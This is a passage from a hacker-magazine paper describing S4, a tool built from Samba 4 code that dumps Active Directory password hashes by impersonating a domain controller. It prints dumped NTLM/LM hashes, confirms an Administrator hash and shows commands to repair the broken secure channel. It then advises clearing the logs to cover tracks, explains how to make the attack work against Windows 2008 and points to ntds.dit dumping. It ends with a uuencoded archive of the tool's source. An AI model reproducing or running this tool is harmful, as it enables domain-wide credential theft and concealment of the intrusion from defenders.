DC3$:1003:C6DD50758AC2B23B9C63DFB8BC64840C:
          820B5403DF3484530F644090C564E342:::
DC3$_history_0:1003:C6DD50758AC2B23B9C63DFB8BC64840C:
                    9CDEE73ADFA23ED3FEC2CC575EF9D0A7:::
DC4$:1108:8C6AC94AD2F708E2AAD3B435B51404EE:
          F77ACB17249932BA36990D85D0F7E01A:::
DC4$_history_0:1108:CA1CDCD62E2662912950352F77B2EC2C:
                    5E54C47654328C3C7B541A81D6319837:::
DC4$_history_1:1108:C233128D17B4A8C47838115D84C67E42:
                    F77ACB17249932BA36990D85D0F7E01A:::
-------------------------------------------------------------------------
```

For compatibility purposes, I kept the format used by pwdump-like tools :]
Just a little test to be sure that the results are not fucked. Fire a
Python shell and compute the hash of the Administrator:

```
-----------------------------[ screendump ]-----------------------------
>>> import hashlib,binascii
>>> hash = hashlib.new('md4', "foo123".encode('utf-16le')).digest()
>>> print binascii.hexlify(hash).upper()
23DBA86EAA18933844864F24A54EBFBF
>>>
-------------------------------------------------------------------------
```

And that's exactly the NTLM of the Administrator \o/

Fixing the mess

Now be careful with what I'm about to say because it's *very* important.
Changing a BDC's machine account password using IADsUser::SetPassword()
breaks somehow the secure channel between the BDC and the PDC. Breaking the
secure channel means basically breaking the trust between DCs ultimately
resulting in a DoS (errors in logs, no more synchronization, ...). Oops :]

This can easily be seen by typing the command:

```
-----------------------------[ screendump ]-----------------------------
```

```
C:\WINDOWS\system32>nltest /SC_CHANGE_PWD:foo.bar
I_NetLogonControl failed: Status = 5 0x5 ERROR_ACCESS_DENIED
```

The same command would *not* have failed on DC3 (or on DC4 before changing the password). Fortunately, using the Administrator's credentials, you can use the *very* useful netdom tool [13] to fix this problem:

```
------------------------------[ screendump ]------------------------------
C:\WINDOWS\system32>netdom RESETPWD /Server:DC3 /UserD:Administrator
/PasswordD:*
Type the password associated with the domain user:

The machine account password for the local machine has been successfully
reset.

The command completed successfully.

C:\WINDOWS\system32>netdom RESET DC4
The secure channel from DC4 to the domain FOO has been reset.  The
connection is with the machine \\DC3.FOO.BAR.

The command completed successfully.
```

Just to prove you that the situation is indeed fixed:

```
------------------------------[ screendump ]------------------------------
C:\WINDOWS\system32>nltest /SC_CHANGE_PWD:foo.bar
nltest /SC_CHANGE_PWD:foo.bar
Flags: 0
Connection Status = 0 0x0 NERR_Success
The command completed successfully
```

We're safe! Clean the logs and leave the box :]

---[7 - S4 .VS. Windows 2008 Domain Controllers

While the technique implemented in S4 is very effective if the PDC is a Windows 2003 server, it totally fails if it's a Windows 2008 (or higher) server and this unfortunately holds even if the Domain's functional level is "Windows Server 2003".

The first problem that I encountered was that while I was still able to have the new machine account's NTLM propagated, the establishment of the secure channel always failed, an "access denied" being returned by NetrServerAuthenticate2(). Because I suspected some evolution in the protocol, I began to look for information on Netlogon, only to discover that Microsoft had already published its specification [10]. My bad! If I had been more careful I would have saved time as there was no real need to reverse nltest.exe :] Reading the specifications, I discovered something really interesting that I had failed to notice through the reversing process; there are different algorithms to compute the session key.

Long story short, when a client initiates a connection to the server, it first provides its capabilities using the NegotiateFlags parameter of NetrServerAuthenticate(). In return, the server will set this parameter to provide his own capabilities. This is the way that they both agree on the

```
algorithm used to compute the session key.

There are basically three types of session keys (see section 3.1.4.3 of
[10]):

    1/ AES (strong)
    2/ 'Strong-Key' which is HMAC-MD5 based (weaker)
    3/ DES (weak)

The third one is implemented in S4's NlMakeSessionKey() and is also the
oldest. For compatibility purposes, Windows 2003 is still accepting this
weak way of computing keys. This explains why the authentication process
was OK. Starting with Windows 2008, security has been enhanced and the
minimum required by default is now Strong-Key; I implemented it and the
authentication is now compatible with Windows 2008 :]

<Note>
There exists a workaround (Hi D.) to keep using a weak DES session key with
a Windows 2008 server. Google() the key words "NT4Emulator" and
"AllowNT4Crypto" for more details (also have a look at the GPO).
</Note>

Unfortunately this was not sufficient as NetrDatabaseSync() was now
returning a STATUS_NOT_SUPPORTED. Digging in "[MS-NRPC]: Netlogon Remote
Protocol Specification" I found the following explanation (rev 24):

-----------------------[ MS official documentation ]-----------------------
If a server does not support a specific Netlogon RPC method, it MUST return
ERROR_NOT_SUPPORTED or STATUS_NOT SUPPORTED, based on the return type
---------------------------------------------------------------------------

The revision is important because in revision 22 NetrDatabaseSync() is
documented whereas it's not anymore in revision 24. It mysteriously
disappeared... If we consider the previous quote, it seems fair to assume
that at some point the function was declared deprecated. Unfortunately the
reason is probably mentioned in revision 23 which seems currently
unavailable. Who knows, we might some day have the appropriate explanation.
However "deprecated" doesn't mean "gone" so it *might* be interesting to
reverse engineer the function ;]

Btw a little trick to help you:

------------------------------[ screendump ]-------------------------------
C:\Users\Administrator>nltest /dbflag:ffffffff
SYSTEM\CurrentControlSet\Services\Netlogon\Parameters set to 0xffffffff
Flags: 0
Connection Status = 0 0x0 NERR_Success
The command completed successfully

C:\Users\Administrator>type %WINDIR%\debug\netlogon.log
[...]
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: DC10$: Message
: dbcbaafc aba49ab9 f6bcabb5 62380816   ..............8b
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: New Password:
b6b852a3 5ec54dc9 9ea3917e c51d19fa   .R...M.^~.......
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: New Digest: d4
67786d a92bd731 7da18262 3d1cdb4f   mxg.1.+.b..}O..=
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: Old Password:
b6b852a3 5ec54dc9 9ea3917e c51d19fa   .R...M.^~.......
04/04 22:23:34 [ENCRYPT] NetrLogonComputeServerDigest: 1105: Old Digest: d4
67786d a92bd731 7da18262 3d1cdb4f   mxg.1.+.b..}O..=
```

[...]

---[8 - Additional details

a) Are there other alternatives to dump the AD's passwords?

Well apart from pwdump-like techniques, there is at least one more: ntds.dit [11] file dumping. In a nutshell, this file is a Jet Blue database holding (amongst other things) information about the users. When an LDAP query is issued, this database is interrogated. Because it's very sensitive (passwords are stored inside), it's both encrypted and system locked thus it's not trivial to dump its content. I wasn't aware until recently of any tool able to deal with it. It seems that things have changed because I've heard some rumors. There should be at least two other alternatives, but I won't say more. Be smart and find them yourself :]

b) What about real-life filtering & the requirement of 2 DCs??

The first requirement for the attack is the ability to execute arbitrary commands on one of the DCs. One is enough as by design all of them are communicating with one another without any restrictions (=filtering).

The second requirement is the existence of at least 2 DCs. Apart from tiny corporations, there will always be at least 2 DCs (for business continuity in case of a disaster or maintenance operation) so it's no big deal either.

c) What about Samba 4 .VS. Windows 2008?

Well, have a look at samba-4.0.0alpha18.tgz :]

---[9 - Last words

The original title of the paper was something like:
"The art of the laziness: exploiting the Samba 4 project"

What I wanted to highlight is that sometimes with only a few ideas and minimal efforts you can come up with new tools & techniques. Read the S4 source code, test it, improve it and use it wisely. As they all say:

Happy Hacking! :-]

-- High 5 to my fellows

---[10 - Bibliography

[01] http://en.wikipedia.org/wiki/Pwdump
[02] http://en.wikipedia.org/wiki/Active_Directory
[03] http://wiki.samba.org/index.php/Samba4
[04] http://securite.intrinsec.com/2010/09/07/rd-outil-dextraction-de-mots-de-passe-ad/
[05] http://msdn.microsoft.com/en-us/library/cc237290%28v=prot.13%29.aspx
[06] http://en.wikipedia.org/wiki/Primary_Domain_Controller
[07] http://www.microsoft.com/download/en/details.aspx?id=16770
[08] http://msdn.microsoft.com/en-us/library/cc237225%28v=prot.13%29.aspx

[09] http://msdn.microsoft.com/en-us/library/cc237082%28v=prot.13%29.aspx
[10] http://msdn.microsoft.com/en-us/library/cc237008%28v=prot.10%29.aspx
[11] http://www.stoyanoff.info/blog/2012/02/11/ad-data-store-part-1/
[12] http://en.wikipedia.org/wiki/Flexible_single_master_operation
[13] http://technet.microsoft.com/en-us/library/cc772217%28v=ws.10%29.aspx
[14] http://technet.microsoft.com/en-us/library/cc776877%28WS.10%29.aspx

---[11 - c0de: S4

```
begin 755 S4.p68.zip
M4$L#!`H``````-%>A4`````````````````'````4S0N<#8X+U!+`P04``(`
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
```

```
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
```

```
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
```

```
M@=:@#VLEI.$Q&`4^,PPP'\XB>Y\6GECD+.02T2W"X[]+$X!:U.&5&"O^Z$`U
M!DM,P*41'J/,"9.'PD5SI%U&E8"^6')M>F3KL3#$@.D.Q9US6`C<\T%(:_S4
M:4/V88EF9]^OP5.2;NOF)Z4`L)J)-?-O)N-;EPXQC)`2H^"FCQS"A]SP[Y^M
M#5Q_N_+A7N`5R>V+;0>[TU.5]%1B7B,]]2KIF=7-:');*"Y1+@IKJN?"AA8:
M0B67I)B`29@<P?S1<`TQUQQM+*&(FY*V\6^O%!5]=#,EP2G:]N")6J*:Z(9T
M^QG//+B-*(1]E<)TWQ.DYS8C?JRQ%WB*<5+=9QGLLC@7DH5=LW)@Z[@.I%),
ML6YNXY&]X!1&D\+Q[Z(;FA(%3K&%8#,1P,1,ZH6*(RRT6F&YQ8H?%^$E4ZKS
